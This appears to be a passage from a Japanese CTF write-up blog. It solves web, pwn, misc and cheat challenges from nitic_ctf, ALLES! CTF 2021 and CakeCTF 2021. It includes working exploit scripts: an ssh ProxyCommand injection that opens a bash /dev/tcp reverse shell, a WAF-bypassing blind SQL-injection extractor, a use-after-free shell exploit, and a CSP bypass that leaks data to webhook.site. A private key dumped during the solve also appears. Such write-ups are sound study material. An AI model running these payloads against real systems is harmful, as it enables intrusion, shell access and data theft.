      <h1>Do you want the flag?</h1>
      <p>password: <input type="text" id="password"></p>
      <p><button id="submit">Submit</button></p>
      <pre id="response"></pre>

      <script>
          document.getElementById("submit").onclick = () => {
              const data = {"pass": document.getElementById("password").value}
              fetch('/flag', {
                  method: 'POST',
                  headers: {
                      'Content-Type': 'application/json',
                  },
                  body: JSON.stringify(data),
              })
              .then(async (res) => document.getElementById("response").innerHTML = await res.text())
          };
      </script>
  </body>
  </html>
  """
    return make_response(html, 200)

@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != 'application/json':
        return make_response("Content-Type Not Allowed", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag


app.run(port=8080)

fuzzy_equal の処理をよく見てみると、あいまい検索の実装は c = input_pass[i] からの all([ci != password[i] for ci in c]) によって行われていることがわかる。/flagJSONを受け付けているから、input_pass[i] に配列を入れることもできる。string.ascii_letters で埋め尽くされた配列を渡せば、c には string.ascii_letters が入り、また password[i] は必ず string.ascii_letters の中に含まれるから、fuzzy_equalTrue を返すはずだ。以下のコマンドを実行するとフラグが得られた。

#!/bin/bash
curl 'http://34.146.80.178:8001/flag' \
  -H 'Content-Type: application/json' \
  --data-raw '{"pass":["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}'
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

[Web 300] password fixed (13 solves)

passwordに以下のような修正が加えられた。もう先ほどの解法は動かない。

18,23c18,25
<                       c = "0oO"
<               elif input_pass[i] in "l1I":
<                       c = "l1I"
<               else:
<                       c = input_pass[i]
<               if all([ci != password[i] for ci in c]):
---
>                       if password[i] not in "0oO":
>                               return False
>                       continue
>               if input_pass[i] in "l1I":
>                       if password[i] not in "l1I":
>                               return False
>                       continue
>               if input_pass[i] != password[i]:

当てるべきパスワードが Aaaa である場合を考える。['B',[],[],[]] をパスワードとして入力すると、if input_pass[i] != password[i]: return False でループが終了し、if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) によって401というステータスコードが返ってくる。

一方で、['A',[],[],[]] が入力された場合にはループが終了せず A の次の要素である [] もチェックされるが、ループでまず実行される input_pass[i] in "0oO" において以下のように左辺と右辺の型が違うために例外が発生する。したがって、ステータスコードは500になる。

>>> [] in '0oO'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'in <string>' requires string as left operand, not list

この挙動を利用すると、ステータスコードを観察することで1文字ずつパスワードが特定できる。

import requests
import string

HOST = 'http://34.146.80.178:8002'

known = ''
for _ in range(32):
  for c in string.ascii_letters:
    tmp = list(known + c) + [[]] * (32 - len(known + c))
    r = requests.post(f'{HOST}/flag', json={
      'pass': tmp
    })
    if r.status_code in (200, 500):
      known += c
      break
  print(known)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

[Web 500] Is it Shell? (3 solves)

WeTTYというWebブラウザでターミナルを操作できる便利なツールが動いているURLと、以下のようなパッチが与えられた。

wetty2.0.3.patch というパッチのファイル名から使われているWeTTYのバージョンが2.0.3であると推測できるが、GitHubリリースログを見てみるとちょうど2週間ほど前に2.1.1がリリースされており、やや古いことがわかる。

2.0.3から2.1.1までの間でなにか脆弱性が修正されてはいないだろうか。コミットログ変更されたファイルを眺めていると、- から始まるユーザ名を入力できないようにするバグを修正するコミットが見つかった。問題で与えられたパッチは以下からわかるようにクライアント側のコードを修正するものだが、これも - を入力できないようにしている。ヒントだろうか。

--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
   const fileDownloader = new FileDownloader();

   term.onData((data: string) => {
-    socket.emit('input', data);
+    socket.emit('input', data.replace(/-/g, ''));
   });
   term.onResize((size: { cols: number; rows: number }) => {
     socket.emit('resize', size);

試しに - から始まるユーザ名を入力してみよう。DevToolsを開いて String.prototype.replace = function () { return this; }; を実行し、-hoge を入力してみると、以下のように ssh コマンドのhelpが表示された。ssh コマンドのオプションのinjectionができるということだろうか。

f:id:st98:20210906013236p:plain

man ssh で有用なオプションがないか眺めていると、-F という設定ファイルを読み込むためのオプションが見つかった。これで適当なファイルを読み込めないだろうか。

     -F configfile
             Specifies an alternative per-user configuration file.  If a configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.  The
             default for the per-user configuration file is ~/.ssh/config.

いちいち手でオプションを入力するのも面倒なので、Socket.IOのクライアントで直接入力できるようにしてみる。Socket.IOのサーバに接続している箇所にブレークポイントを置いて、ここに来たタイミングで globalThis.sock = socket を実行すると、sock からいつでもデータを送れるようになった。

f:id:st98:20210906013442p:plain

sock.emit('input', '-F/etc/passwd\x00')-F/etc/passwd\x00 を入力して送信すると、以下のように /etc/passwd を読み込むことができた。

f:id:st98:20210906013915p:plain

ここでしばらく悩んでいたが、あらためて man ssh を読んでいると -o オプションで様々なオプションを設定できることに気づいた。

     -o option
             Can be used to give options in the format used in the configuration file.  This is useful for specifying options for which there is no separate command-line flag.  For full details of the
             options listed below, and their possible values, see ssh_config(5).

有用なオプションがないか man ssh_config で探していると、ProxyCommand といういい感じにOSコマンドが実行できそうなものが見つかった。

     ProxyCommand
             Specifies the command to use to connect to the server.  The command string extends to the end of the line, and is executed using the user's shell ‘exec’ directive to avoid a lingering shell
             process.

             Arguments to ProxyCommand accept the tokens described in the TOKENS section.  The command can be basically anything, and should read from its standard input and write to its standard output.
             It should eventually connect an sshd(8) server running on some machine, or execute sshd -i somewhere.  Host key management will be done using the Hostname of the host being connected (de‐
             faulting to the name typed by the user).  Setting the command to none disables this option entirely.  Note that CheckHostIP is not available for connects with a proxy command.

             This directive is useful in conjunction with nc(1) and its proxy support.  For example, the following directive would connect via an HTTP proxy at 192.0.2.0:

                ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

8000番ポートで待ち受けた上で -o ProxyCommand=bash -c "bash -i >& /dev/tcp/…/8000 0>&1"\x00 を入力し送信すると、リバースシェルを張ることができた。

ホームディレクトリにあるファイルを見てみる。まず .bash_historyflag@flagserver にログインすればよいらしい。

ubuntu@ip-172-31-45-150:~$ cat .bash_history
cat .bash_history
rm .bash_history 
exit
cat .ssh/known_hosts 
ls
ls
echo "login to flag@flagserver" > note
exit
ls -altr
cat .bash_history 
vim .bash_history 
ls -altr
history
exit
vim .bash_history 
exit

ls -la からの id_rsa_flagid_rsa_flag はおそらく flag@flagserver にログインするための秘密鍵だろう。

ubuntu@ip-172-31-45-150:~$ ls -la
ls -la
total 68
drwxr-xr-x 8 ubuntu ubuntu  4096 Sep  5 07:17 .
drwxr-xr-x 3 root   root    4096 Sep  4 12:02 ..
-r-xr-xr-x 1 ubuntu ubuntu   188 Sep  5 07:17 .bash_history
-rw-r--r-- 1 ubuntu ubuntu   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu  3771 Feb 25  2020 .bashrc
drwx------ 4 ubuntu ubuntu  4096 Sep  4 22:42 .cache
drwx------ 3 ubuntu ubuntu  4096 Sep  4 22:42 .config
drwxrwxr-x 4 ubuntu ubuntu  4096 Sep  4 22:40 .npm
-rw-r--r-- 1 ubuntu ubuntu   807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu  4096 Sep  4 22:54 .ssh
-rw-r--r-- 1 ubuntu ubuntu     0 Sep  4 22:25 .sudo_as_admin_successful
drwxr-xr-x 2 ubuntu ubuntu  4096 Sep  4 23:13 .vim
-rw------- 1 ubuntu ubuntu 12126 Sep  5 07:17 .viminfo
-rw-rw-r-- 1 root   root    2601 Sep  4 22:48 id_rsa_flag
-r-xr-xr-x 1 ubuntu ubuntu    25 Sep  5 06:05 note
drwxrwxr-x 9 root   root    4096 Sep  5 07:42 wetty
ubuntu@ip-172-31-45-150:~$ cat id_rsa_flag
cat id_rsa_flag
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr
3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n
…
PE6mgXAGVqlNzf7Ex4VpnlUNABVGABpx1VrBvY4xkLg5646a1nKOrbXqDKYN5k/1kRTJ4V
0iH8v+5I2jxMn7jmS1iuTETxEF5E5CkfWDzJF3Z2jEym3OpYoLXrg3iBV9hZKD4zlzX32Z
0q3hjDFeyq//DFAAAADWFrYW5lQGRlc2t0b3ABAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

これを使ってログインするとフラグが得られた。

$ ssh flag@flagserver -i id_rsa
ssh flag@flagserver -i id_rsa
Pseudo-terminal will not be allocated because stdin is not a terminal.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  5 08:09:01 UTC 2021

  System load:  0.0               Processes:             107
  Usage of /:   25.0% of 7.69GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 172.31.7.7
  Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

73 updates can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ls
flag.txt
cat flag.txt
nitic_ctf{shell_in_the_webshell}

ALLES! CTF 2021 writeup

9/4 - 9/5という日程で開催された。zer0ptsで参加して15位。

他のメンバーが書いたwrite-up:


[Web 104] Sanity Check (498 solves)

You aren't a 🤖, right?

という問題文から robots.txt だなあとわかる。

ALLES!{1_nice_san1ty_ch3k}

[Web 229] Amazing Crypto WAF (23 solves)

Pastebin的なサービス。次の docker-compose.yml からわかるように、表からアクセスできるのは crypter というサービスだけ。これがバックエンドの app とクライアントの間に立つ仲介者として機能するという構成になっている。SQLiteのDBにユーザの情報やらメモやらが保存されているが、その内容はAESで暗号化されている。

version: '3.7'
services:
  app:
    build:
      context: app/

  crypter:
    build:
      context: crypter/
    depends_on:
      - "app"
    ports:
      - 5000:1024

フラグは以下のように flagger というユーザのメモとして保存されている。

import requests
import uuid
from logzero import logger

# create flag user
pw = uuid.uuid4().hex
flag = open('flag', 'rb').read()

logger.info(f'flagger password: {pw}')
s = requests.Session()
r = s.post(f'http://127.0.0.1:1024/registerlogin',
                data={'username': 'flagger','password':pw}, allow_redirects=False)

s.post(f'http://127.0.0.1:1024/add_note',
                data={'body': flag, 'title':'flag'}, allow_redirects=False)

私が問題を確認した時点で、nyankoさんによって app/notesORDER BY 句以降のSQLiができることがわかっていた。

@app.route('/notes')
@login_required
def notes():
    order = request.args.get('order', 'desc')
    notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
    return render_template('notes.html', user=g.user, notes=notes)

この appnotes には crypter を通してアクセスできるが、crypter は以下のように SELECTUNION がGETパラメータに含まれていることが確認できればそこで処理を打ち切ってしまう。特に WHERE 句で既にレコードがログインしているユーザの投稿だけに絞られている状況では、SQLiでは他のレコードの情報を抽出するのは難しいように思える。

# the WAF is still early in development and only protects a few cases
def waf_param(param):
    MALICIOUS = ['select', 'union', 'alert', 'script', 'sleep', '"', '\'', '<']
    for key in param:
        val = param.get(key, '')
        while val != unquote(val):
            val = unquote(val)

        for evil in MALICIOUS:
            if evil.lower() in val.lower():
                raise Exception('hacker detected')

waf_param を呼び出す側はこんな感じ。

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['POST', 'GET'])
def proxy(path):

    # Web Application Firewall
    try:
        waf_param(request.args)
        waf_param(request.form)
    except:
        return 'error'

なんとかできないか、crypter がこのWAFによるフィルター以降で何をしているか見ていく。フィルターの直後で request.query_string からすべてのGETパラメータを、path からリクエストされたパスを取得している。その後 {BACKEND_URL}{path}?{query}requests でHTTPリクエストを送り、HTTPレスポンスに含まれる暗号化された内容の復号などを行った上でHTTPレスポンスを返している。

    # contact backend server
    proxy_request = None
    query = request.query_string.decode()
    headers = {'Cookie': request.headers.get('Cookie', None) }
    if request.method=='GET':
        proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}',
                            headers=headers,
                            allow_redirects=False)
    elif request.method=='POST':
        headers['Content-type'] = request.content_type
        proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', 
                            data=encrypt_params(request.form),
                            headers=headers,
                            allow_redirects=False)

   if not proxy_request:
        return 'error'

    
    response_data = decrypt_data(proxy_request.content)
    injected_data = inject_ad(response_data)
    resp = make_response(injected_data)
    resp.status = proxy_request.status_code
    if proxy_request.headers.get('Location', None):
        resp.headers['Location'] = proxy_request.headers.get('Location')
    if proxy_request.headers.get('Set-Cookie', None):
        resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie')
    if proxy_request.headers.get('Content-Type', None):
        resp.content_type = proxy_request.headers.get('Content-Type')

    return resp

実はこの path はパーセントエンコーディングされていないので、例えば /notes%3forder%3dasc%26 にアクセスすると、バックエンドの app に対して http://127.0.0.1:5000/notes?order=asc&? のような形でHTTPリクエストが送られてしまう。crypter のWAFがチェックしているのは request.argsrequest.form のみで、path はGETパラメータでもPOSTで送られたパラメータでもないからWAFをバイパスできてしまう。これで /notes のSQLiが叩けるようになった。

SQLiで情報を抽出する方法を考える。SQLiteの公式ページには SELECT 文のrailroad diagramが載っているが、これを見ると ORDER BY 句の後ろでは LIMIT 句が使え、さらに LIMIT 句では SELECT を含めた式が使えることがわかる。あらかじめ数件のメモを投稿しておいて、LIMIT 句内の件数として unicode(substr(sqlite_version(), 3, 1)) & 15 のように数値として抽出したいデータの一部を与えると、その結果が出力された件数から得られる。

path を使えばWAFをバイパスできるということに気づいたのはCTFの終了間際で、暗号化されたフラグは長いことが予想されたので、4ビットずつデータを抽出する方法を採ることにした。これなら最初に投稿するメモの数は15個で済むし、1文字につき2回のリクエストで抽出できる。

まず1ビットずつの抽出を考えたが、前述の通り抽出したいデータはAESで暗号化されたバイト列をBase64エンコードしたものであるから、きっと長くなるだろうと考えてやめた。7ビットずつ抽出しようとすれば1回のリクエストで1文字を抽出できるが、最初に127個のメモを投稿する必要があるし、なぜかメモの数が増えれば増えるほどメモの投稿に時間がかかるから、結果的に4ビットずつ抽出する場合より遅くなってしまうと考えた。ということで、書いたスクリプトはこんな感じ:

import uuid
import requests
import urllib.parse

def query(sess, payload):
  r = sess.get(URL + 'notes%3forder%3d' + urllib.parse.quote(payload) + '%26')
  return r.text.count('name="uuid"')

#URL = 'http://localhost:5000/'
URL = 'https://7b0000006e9e16b460eef310-amazing-crypto-waf.challenge.master.allesctf.net:31337/'

sess = requests.Session()
sess.post(URL + 'registerlogin', data={
  'username': str(uuid.uuid4()),
  'password': str(uuid.uuid4())
})

print('chotto mattene')
for _ in range(15):
  print(_)
  sess.post(URL + 'add_note', data={
    'body': str(uuid.uuid4()),
    'title': str(uuid.uuid4())
  })
print('okay')

i = 1
res = ''
while True:
  a = query(sess, f"asc limit (select unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) >> 4)")
  b = query(sess, f"asc limit (select (unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) | 240) - 240)")
  res += chr((a << 4) | b)
  print(i, res)
  i += 1

実行すると以下のように出力された。無事暗号化されたフラグが抽出できたようだ。

$ python3 solve.py
155 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblB
156 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBp
157 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZ
158 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz
159 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz0
160 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz09

ENCRYPT:… という文字列をユーザ名として登録すると ALLES!{American_scientists_said,_dont_do_WAFs!} とフラグが出力されたが、CTFの終了時刻である13時を1分過ぎており、手遅れだった。

ALLES!{American_scientists_said,_dont_do_WAFs!}

CakeCTF 2021 writeup

8/28 - 8/29という日程で開催された。zer0ptsで参加して1位。やったー。

(9/29追記) 賞品(マグカップ、タオル、コースター)が届いた。かわいい。


[Web 110] MofuMofu Diary (80 solves)

PHP製のもふもふ画像ビュアー。蔵王キツネ村行きたいなあ。

2回目以降のアクセスのために画像のキャッシュがセッションに保存されている。Cookieには、セッションIDのほかに {"data":[{"name":"images\/01.jpg","description":"Half sleeping cat"}],"expiry":1630800898} のようにキャッシュされた画像の情報がJSONで保存されている。

JSONexpiry はキャッシュが破棄される時刻であり、もしそれを過ぎていれば、以下のようにWebサーバはCookieの情報をもとに再度画像を取得してセッションに保存する。

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

画像の取得先もユーザが操作できるから、/flag.txt も読めてしまう。%7B%22data%22%3A%5B%7B%22name%22%3A%22%2Fflag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%5D%2C%22expiry%22%3A0%7DCookieに入れてやるとフラグが得られる。

CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns}

[Pwn 113] UAF4b (75 solves)

楽しいUAF。以下のような構造体を悪用してどこかのディレクトリにあるファイルを読み出せばよいらしい。system や構造体のアドレスなど色々教えてくれて優しい。

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;
  1. cowsayfree
  2. そのままメッセージの変更をしようとすると cowsay があったアドレスに書き込まれるので、cowsay->fn_dialoguesystem に書き換え
  3. またメッセージの変更、sh と入力
  4. cowsay->fn_dialog(cowsay->message) を実行

このような手順でシェルが取れる。cat f*; exit でフラグが得られる。

import re
from pwn import *

s = remote('pwn.cakectf.com', 9001)
s.recvuntil(b'<system> = ')
system = int(s.recvline(), 16)
print('system', system)

s.recvuntil(b'> ')
s.sendline(b'3')
s.recvuntil(b'> ')
s.sendline(b'4')
r = s.recvuntil(b'> ')
addr = int(re.findall(r'(0x[0-9a-f]+).+fn_dialogue', r.decode())[0], 16)

payload = b''
payload += p64(system)

s.sendline(b'2')
s.sendline(payload)

s.recvuntil(b'> ')
s.sendline(b'2')
s.sendline(b'sh')

s.recvuntil(b'> ')
s.sendline(b'1')

s.sendline(b'cat f*; exit')
s.interactive()

s.close()
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}

[Misc 143] Break a leg (44 solves)

LSBに情報が埋め込まれるタイプのステガノ問なんだけれども、data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] からわかるようにLSBがクリアされないままORで書き込まれてしまっている。

幸いにもフラグの埋め込みは何度も繰り返されているので、フラグの各ビットについて、対応するすべてのピクセルのLSBのうち一度でも 0 が出現していれば 0、そうでなければ 1 とわかる。フラグのビット数はわからないが、暴力解法ブルートフォースで探せばよい。

import itertools
from PIL import Image

def split(s, n):
  return [s[i:i+n] for i in range(0, len(s), n)]

def go(s, n):
  t = split(s, n)[:-8]
  res = []
  for x in range(n):
    c = 0xff
    for v in t:
      c &= v[x]
    res.append(c)
  return [int(''.join(str(b) for b in x[::-1]), 2) for x in split(res, 8)][::-1]

im = Image.open('chall.png')
s = list(itertools.chain.from_iterable(im.getdata()))
t = [x & 1 for x in s]

for x in range(2, 1000):
  res = bytes(go(t, x))
  if b'\x00\x00\x00' in res:
    continue
  print(res)
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}

[Misc 173] telepathy (29 solves)

以下のように / にアクセスするとフラグを返すバックエンドのWebサーバがあるが、

func run() error {
    e := echo.New()
    e.File("/", "public/flag.txt")
    if err := e.Start(":8000"); err != nil {
        return err
    }
    return nil
}

フロントエンドのnginxは \w\{.*\} という正規表現にマッチする文字列を全部 I'm sending the flag to you by telepathy... Got it? に置換してしまう。

    location / {
        # I'm getting the flag with telepathy...
        proxy_pass  http://app:8000/;

        # I will send the flag to you by HyperTextTelePathy, instead of HTTP
        header_filter_by_lua_block { ngx.header.content_length = nil; }
        body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
    }

バックエンドのサーバがこの正規表現に当てはまらないようにフラグを返すようにすればよい。Range ヘッダ{ より後ろのコンテンツを返すようにさせるとフラグが得られる。

$ curl misc.cakectf.com:18100 -H "Range: bytes=8-"
r4ng3-0r4ng3-r4ng3}

[Cheat 196] Kingtaker (22 solves)

Helltaker的な倉庫番っぽいゲームが与えられる。緑色のyoshikingさんを王冠まで導けば次のステージに進める。岩や壁は通行不可だが、段ボール箱は進行方向に通行不可のオブジェクトがない限り移動させられる。

左下に表示されている数値は残りの移動可能な回数であり、移動したり段ボール箱を押したりすると減少する。

f:id:st98:20210829094110p:plain

最終ステージは明らかに攻略不能なので、カテゴリ名のとおりチートで突破する必要がある。

f:id:st98:20210829094751p:plain

このゲームはGameMaker製で、Web向けにエクスポートされたらしいことがHTMLの gm4html5_div_class というクラス名や GameMaker_Init という関数名から推測できる。ゲームのコードはJavaScriptで記述されているが、javascript-obfuscatorによって難読化されてしまっている。仕方がないので適当なフォーマッタである程度読みやすくしておく。

まず通行できないオブジェクトの上を通行できるようにしたい。それっぽい wall のような文字列を探してみると、以下のようなコードが見つかった。プロパティ名の意味はよくわからないが、値を適当に変えていると、_w20 に変えたときに壁抜けができるようになった。

  }, {
    '_B1': 'obj_wall',
    '_w2': 0x2,
    '_m2': !0x0,
    'parent': -0x64,
    '_t2': [],
    '_u2': []
  }, {

これで通行不可のオブジェクトを無視して移動できるようになったが、先ほどのスクリーンショットで見たように移動回数の問題も解決する必要がある。ステージごとに異なる移動回数が設定されているが、その設定の処理を見つけることはできないだろうか。

第3ステージの移動回数は41回に設定されている。0x29 で検索してみると以下のようなコードが見つかった。ここにブレークポイントを置いてみるとちょうど第3ステージに突入した際に停止した。代入される値を50に変えてみると移動回数も50回に増え、確かにこの処理が移動回数の設定をしていることがわかった。

ついでに _0xcf60a1(0x7bb) の内容を確認すると、これは _n4 という文字列だった。

function _03(_0x4f72bf) {
  var _0xcf60a1 = _0xffd866;
  global[_0xcf60a1(0x7bb)] = 0x29;
}

ほかに global_n4 を参照している箇所を探すと、以下のように最終ステージの移動回数の設定をしているであろう処理が見つかった。0x3 を48に変えてやると、移動回数を48回にまで増やすことができた。

function _13(_0x1dbf6d) {
  global['_n4'] = 0x3;
}

f:id:st98:20210829100335p:plain

このまま王冠に触れるとフラグが表示された。

f:id:st98:20210829100401p:plain

CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}

[Web 196] travelog (22 solves)

ブログ。各投稿の本文でHTML Injectionが可能だが、default-src 'none'; script-src 'nonce-(nonce)' 'unsafe-inline';style-src 'nonce-(nonce)' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; img-src 'self'; connect-src http: https:; base-uri 'self' というやや厳しめなCSPが有効になっている。

XSS botのコードを確認すると User-Agent にフラグが設定されていることがわかった。つまり外部のURLにアクセスさせるだけでフラグが得られるようだが、残念ながら外部のURLを報告してもXSS botがやって来ることはない。なんとかしてCSPをバイパスする必要がある。

const crawl = async (post_url) => {
    if (!post_url.match(/\/post\/[0-9a-f]{32}\/[0-9a-f]{32}$/)) {
        return;
    }
    const url = base_url + post_url;

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        page.setUserAgent(flag); // [!] steal this flag
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) { }

    await browser.close();
}

設定されているCSPを見ていくと、connect-src ディレクティブの http: https: というガバガバっぷりが気になった。connect-src ディレクティブは a 要素の ping 属性や fetch などで読み込めるURLを制限するものだが、XSS botはリンクをクリックしないし、任意のJavaScriptコードを実行できるわけでもないので悪用はできないように思える。

ちょっと悩んで、link 要素の preload を思い出す。<link rel="preload" href="https://webhook.site/…" as="fetch"> という内容で投稿してXSS botに報告すると、XSS botWebhook.siteにアクセスしてきた。

CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

これはfirst bloodが取れたら賞品がもらえるという問題だったのだけれども、./Vespiaryに15分負けた😭

[Web 204] travelog again (20 solves)

travelogのリベンジ問らしい。今度は以下のようにフラグが User-Agent でなくCookieに格納されるようになった。httpOnlyfalse に設定されているから、JavaScriptコードの実行ができれば document.cookie からアクセスできるはず。

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        await page.setCookie({
